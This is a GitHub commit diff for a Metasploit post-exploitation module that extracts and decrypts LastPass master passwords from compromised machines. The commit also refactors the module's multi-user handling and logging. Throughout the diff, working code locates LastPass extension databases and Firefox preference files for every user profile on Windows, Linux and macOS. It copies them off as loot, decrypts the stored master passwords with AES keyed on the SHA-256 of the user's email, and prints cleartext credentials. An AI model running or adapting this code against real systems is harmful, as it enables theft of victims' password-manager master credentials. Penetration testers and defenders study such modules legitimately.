Skip to content

Commit a30663e

Browse files
committed
Fix multiuser LastPass extraction, print/vprint cleanup
1 parent afed6a0 commit a30663e

File tree

1 file changed

+79
-83
lines changed

1 file changed

+79
-83
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 79 additions & 83 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,13 @@ def initialize(info = {})
1616
'Name' => 'LastPass Master Password Extractor',
1717
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
1818
'License' => MSF_LICENSE,
19-
'Author' => ['Alberto Garcia Illera <agarciaillera[at]gmail.com>', 'Martin Vigo <martinvigo[at]gmail.com>'],
19+
'Author' => [
20+
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
21+
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
22+
'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup
23+
],
2024
'Platform' => %w(linux osx unix win),
25+
'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
2126
'SessionTypes' => %w(meterpreter shell)
2227
)
2328
)
@@ -37,27 +42,39 @@ def run
3742
return
3843
end
3944

40-
print_status "Looking for credentials in all databases found..."
45+
print_status "Extracting credentials from #{db_map.size} LastPass databases"
4146

4247
# an array of [user, encrypted password, browser]
4348
credentials = [] # All credentials to be decrypted
4449
db_map.each_pair do |browser, paths|
4550
if browser == 'Firefox'
4651
paths.each do |path|
4752
data = read_file(path)
48-
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}")
53+
loot_path = store_loot(
54+
'firefox.preferences',
55+
'text/javascript',
56+
session,
57+
data,
58+
nil,
59+
"Firefox preferences file #{path}"
60+
)
4961

5062
# Extract usernames and passwords from preference file
51-
firefox_encoded_creds = firefox_credentials(loot_path)
52-
next unless firefox_encoded_creds
53-
firefox_encoded_creds.each do |creds|
54-
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] unless creds[0].nil? || creds[1].nil?
63+
firefox_credentials(loot_path).each do |creds|
64+
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser]
5565
end
5666
end
5767
else # Chrome, Safari and Opera
5868
paths.each do |path|
5969
data = read_file(path)
60-
loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}")
70+
loot_path = store_loot(
71+
"#{browser.downcase}.lastpass.database",
72+
'application/x-sqlite3',
73+
session,
74+
data,
75+
nil,
76+
"#{browser} LastPass database #{path}"
77+
)
6178

6279
# Parsing/Querying the DB
6380
db = SQLite3::Database.new(loot_path)
@@ -71,21 +88,25 @@ def run
7188
end
7289
end
7390

74-
credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => %w(Username Password Browser))
91+
credentials_table = Rex::Ui::Text::Table.new(
92+
'Header' => "LastPass credentials",
93+
'Indent' => 1,
94+
'Columns' => %w(Username Password Browser)
95+
)
7596
# Parse and decrypt credentials
7697
credentials.each do |row| # Decrypt passwords
7798
user, enc_pass, browser = row
78-
print_status "Decrypting password for user #{user} from #{browser}..."
99+
vprint_status "Decrypting password for user #{user} from #{browser}..."
79100
password = clear_text_password(user, enc_pass)
80101
credentials_table << [user, password, browser]
81102
end
82-
print_good credentials_table.to_s
103+
print_good credentials_table.to_s unless credentials.empty?
83104
end
84105

85106
# Finds the databases in the victim's machine
86107
def database_paths
87108
platform = session.platform
88-
existing_profiles = user_profiles
109+
profiles = user_profiles
89110
found_dbs_map = {
90111
'Chrome' => [],
91112
'Firefox' => [],
@@ -95,62 +116,60 @@ def database_paths
95116

96117
browser_path_map = {}
97118

98-
case platform
99-
when /win/
100-
existing_profiles.each do |user_profile|
101-
print_status "Found user: #{user_profile['UserName']}"
119+
if datastore['VERBOSE']
120+
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
121+
else
122+
print_status "Found #{profiles.size} users"
123+
end
124+
125+
profiles.each do |user_profile|
126+
username = user_profile['UserName']
127+
case platform
128+
when /win/
102129
browser_path_map = {
103130
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
104131
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
105132
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
106133
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
107134
}
108-
end
109-
when /unix|linux/
110-
existing_profiles.each do |user_profile|
111-
print_status "Found user: #{user_profile['UserName']}"
135+
when /unix|linux/
112136
browser_path_map = {
113137
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
114138
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
115139
}
116-
end
117-
when /osx/
118-
existing_profiles.each do |user_profile|
119-
print_status "Found user: #{user_profile['UserName']}"
140+
when /osx/
120141
browser_path_map = {
121142
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
122143
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
123144
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
124145
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
125146
}
147+
else
148+
print_error "platform not recognized: #{platform}"
126149
end
127-
else
128-
print_error "platform not recognized: #{platform}"
129-
end
130150

131-
browser_path_map.each_pair do |browser, path|
132-
found_dbs_map[browser] |= find_db_paths(path, browser)
151+
browser_path_map.each_pair do |browser, path|
152+
found_dbs_map[browser] |= find_db_paths(path, browser, username)
153+
end
133154
end
134155

135-
found_dbs_map
156+
found_dbs_map.delete_if { |browser, paths| paths.empty? }
136157
end
137158

138159
# Returns a list of DB paths found in the victims' machine
139-
def find_db_paths(path, browser)
140-
found_dbs_paths = []
160+
def find_db_paths(path, browser, username)
161+
paths = []
141162

142-
print_status "Checking in #{browser}..."
163+
vprint_status "Checking #{username}'s #{browser}..."
143164
if browser == "Firefox" # Special case for Firefox
144165
profiles = firefox_profile_files(path, browser)
145-
unless profiles.empty?
146-
print_good "Found #{profiles.size} profile files in Firefox"
147-
found_dbs_paths |= profiles
148-
end
166+
paths |= profiles
149167
else
150-
found_dbs_paths |= file_paths(path, browser)
168+
paths |= file_paths(path, browser, username)
151169
end
152170

153-
found_dbs_paths
171+
vprint_good "Found #{paths.size} #{browser} databases for #{username}"
172+
paths
154173
end
155174

156175
# Returns the relevant information from user profiles
@@ -186,7 +205,7 @@ def user_profiles
186205
end
187206

188207
# Extracts the databases paths from the given folder ignoring . and ..
189-
def file_paths(path, browser)
208+
def file_paths(path, browser, username)
190209
found_dbs_paths = []
191210

192211
if directory?(path)
@@ -195,24 +214,17 @@ def file_paths(path, browser)
195214
files.each do |file_path|
196215
found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..'
197216
end
198-
199217
elsif session.type == "shell"
200218
files = session.shell_command("ls \"#{path}\"").split
201219
files.each do |file_path|
202220
found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared'
203221
end
204-
205222
else
206223
print_error "Session type not recognized: #{session.type}"
207224
return found_dbs_paths
208225
end
209226
end
210227

211-
if found_dbs_paths.empty?
212-
print_status "No databases found for #{browser}"
213-
else
214-
print_good "Found #{found_dbs_paths.size} database/s in #{browser}"
215-
end
216228
found_dbs_paths
217229
end
218230

@@ -229,38 +241,30 @@ def firefox_profile_files(path, browser)
229241
print_error "Session type not recognized: #{session.type}"
230242
return found_dbs_paths
231243
end
232-
end
233244

234-
files.reject! { |file| %w(. ..).include?(file) }
235-
files.each do |file_path|
236-
found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/)
245+
files.reject! { |file| %w(. ..).include?(file) }
246+
files.each do |file_path|
247+
found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/)
248+
end
237249
end
238250

239-
if found_dbs_paths.empty?
240-
print_status "No profile paths found for #{browser}"
241-
end
242251
found_dbs_paths
243252
end
244253

245254
# Parses the Firefox preferences file and returns encoded credentials
246255
def firefox_credentials(loot_path)
247256
credentials = []
248-
password_line = nil
249257
File.readlines(loot_path).each do |line|
250-
password_line = line if line['extensions.lastpass.loginpws']
251-
end
252-
253-
return nil unless password_line
254-
255-
if password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)
256-
encoded_credentials = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1]
257-
else
258-
return nil
259-
end
260-
261-
creds_per_user = encoded_credentials.split("|")
262-
creds_per_user.each do |user_creds|
263-
credentials.push(user_creds.split("=")) if user_creds.split("=").size > 1 # Any valid credentials present?
258+
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
259+
creds_per_user = encoded_creds.split("|")
260+
creds_per_user.each do |user_creds|
261+
parts = user_creds.split('=')
262+
# Any valid credentials present?
263+
credentials << parts if parts.size > 1
264+
end
265+
else
266+
next
267+
end
264268
end
265269

266270
credentials
@@ -279,25 +283,17 @@ def clear_text_password(email, encrypted_data)
279283
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
280284
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
281285
encrypted_password = encrypted_data[26..-1]
282-
begin
283-
decipher_result = decipher.update(Base64.decode64(encrypted_password)) + decipher.final
284-
rescue
285-
print_error "Password could not be decrypted"
286-
return nil
287-
end
288-
289286
else # Apply ECB
290287
decipher = OpenSSL::Cipher.new("AES-256-ECB")
291288
decipher.decrypt
292289
decipher.key = sha256_binary_email
293-
begin
294-
decipher_result = decipher.update(Base64.decode64(encrypted_data)) + decipher.final
295-
rescue
296-
print_error "Password could not be decrypted"
297-
return nil
298-
end
290+
encrypted_password = encrypted_data
299291
end
300292

301-
decipher_result
293+
begin
294+
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
295+
rescue
296+
print_error "Password for #{email} could not be decrypted"
297+
end
302298
end
303299
end

0 commit comments

Comments
 (0)